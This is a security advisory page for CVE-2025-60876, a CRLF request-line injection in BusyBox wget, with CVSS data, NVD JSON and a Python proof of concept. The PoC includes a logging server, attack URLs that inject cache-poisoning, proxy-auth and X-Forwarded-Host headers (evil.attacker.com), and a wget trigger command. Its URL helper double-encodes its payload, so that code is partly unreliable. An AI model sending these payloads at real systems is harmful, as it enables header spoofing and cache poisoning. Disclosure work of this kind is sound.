Security Vulnerability Report
中文
CVE-2025-60876 CVSS 6.5 MEDIUM

CVE-2025-60876

Published: 2025-11-10 20:15:49
Last Modified: 2025-12-31 18:29:42

Description

BusyBox wget thru 1.3.7 accepted raw CR (0x0D)/LF (0x0A) and other C0 control bytes in the HTTP request-target (path/query), allowing the request line to be split and attacker-controlled headers to be injected. To preserve the HTTP/1.1 request-line shape METHOD SP request-target SP HTTP/1.1, a raw space (0x20) in the request-target must also be rejected (clients should use %20).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:busybox:busybox:*:*:*:*:*:*:*:* - VULNERABLE
BusyBox wget <= 1.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60876 PoC - BusyBox wget HTTP Request Smuggling via CRLF Injection # Affected: BusyBox wget <= 1.3.7 import http.server import socketserver import sys from urllib.parse import quote class CRLFHandler(http.server.BaseHTTPRequestHandler): ''' Malicious HTTP server that exploits BusyBox wget CRLF injection. This PoC demonstrates how an attacker can inject arbitrary HTTP headers by sending a URL with embedded CR (0x0D) and LF (0x0A) characters. ''' def do_GET(self): # Log the raw request to analyze the smuggling attempt print(f"[+] Received request for: {self.path}") print(f"[+] Raw headers: {self.headers}") # Check if CRLF injection was successful # Attacker's goal: inject 'Evil-Header' via URL path if 'Evil-Header' in self.headers: print(f"[!] CRLF INJECTION SUCCESSFUL!") print(f"[!] Injected header value: {self.headers.get('Evil-Header')}") # Attacker's payload could include: # - X-Forwarded-Host manipulation # - X-Real-IP spoofing # - Cache poisoning via X-Survive header # - Authentication bypass via X-Original-URI self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Vulnerable wget response\n') def generate_malicious_url(base_url, payload): ''' Generate malicious URL with CRLF characters. The %0D = CR (0x0D), %0A = LF (0x0A) ''' # Encode CR+LF to inject a new header encoded_payload = quote(payload) # %0D%0A -> %250D%250A in URL encoding malicious_url = f"{base_url}/{encoded_payload}" return malicious_url # Example attack vectors ATTACK_EXAMPLES = [ # Basic header injection "http://target.com/%0D%0AEvil-Header:%20malicious", # Cache poisoning attack "http://target.com/%0D%0AX-Survive:%20true%0D%0AX-Cache:%20HIT", # Proxy authentication bypass "http://target.com/%0D%0AX-Proxy-Authenticate:%20Basic%20YWRtaW46cGFzc3dvcmQ=", # Host header injection for password reset poisoning "http://target.com/%0D%0AX-Forwarded-Host:%20evil.attacker.com", ] if __name__ == '__main__': PORT = 8080 with socketserver.TCPServer(('', PORT), CRLFHandler) as httpd: print(f"[*] Malicious server running on port {PORT}") print("[*] Use BusyBox wget to request: http://localhost:8080/test%0D%0AEvil-Header:Injected") httpd.serve_forever() # On vulnerable BusyBox system, run: # wget 'http://target.com/path%0D%0AEvil-Header:Injected' # This will send: # GET /path\r\nEvil-Header: Injected HTTP/1.1 # Host: target.com # ... instead of the intended single request

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60876", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:48.683", "lastModified": "2025-12-31T18:29:41.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BusyBox wget thru 1.3.7 accepted raw CR (0x0D)/LF (0x0A) and other C0 control bytes in the HTTP request-target (path/query), allowing the request line to be split and attacker-controlled headers to be injected. To preserve the HTTP/1.1 request-line shape METHOD SP request-target SP HTTP/1.1, a raw space (0x20) in the request-target must also be rejected (clients should use %20)."}, {"lang": "es", "value": "BusyBox wget hasta la versión 1.3.7 aceptaba CR (0x0D)/LF (0x0A) sin procesar y otros bytes de control C0 en el *request-target* HTTP (ruta/consulta), lo que permitía dividir la línea de solicitud e inyectar encabezados controlados por el atacante. Para preservar la forma de la línea de solicitud HTTP/1.1 *MÉTODO SP request-target SP HTTP/1.1*, un espacio sin procesar (0x20) en el *request-target* también debe ser rechazado (los clientes deben usar %20)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:busybox:busybox:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.37.0", "matchCriteriaId": "D0BD983A-697D-4431-90F9-31956863BD41"}]}]}], "references": [{"url": "https://gist.github.com/subyumatest/41554af6a72aedaacaec026adc311092", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://lists.busybox.net/pipermail/busybox/attachments/20250823/ccdc96ef/attachment-0001.htm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://lists.busybox.net/pipermail/busybox/attachments/20250828/e7f90492/attachment.htm", "source": "[email protected]", "tags": ["Product"]}]}}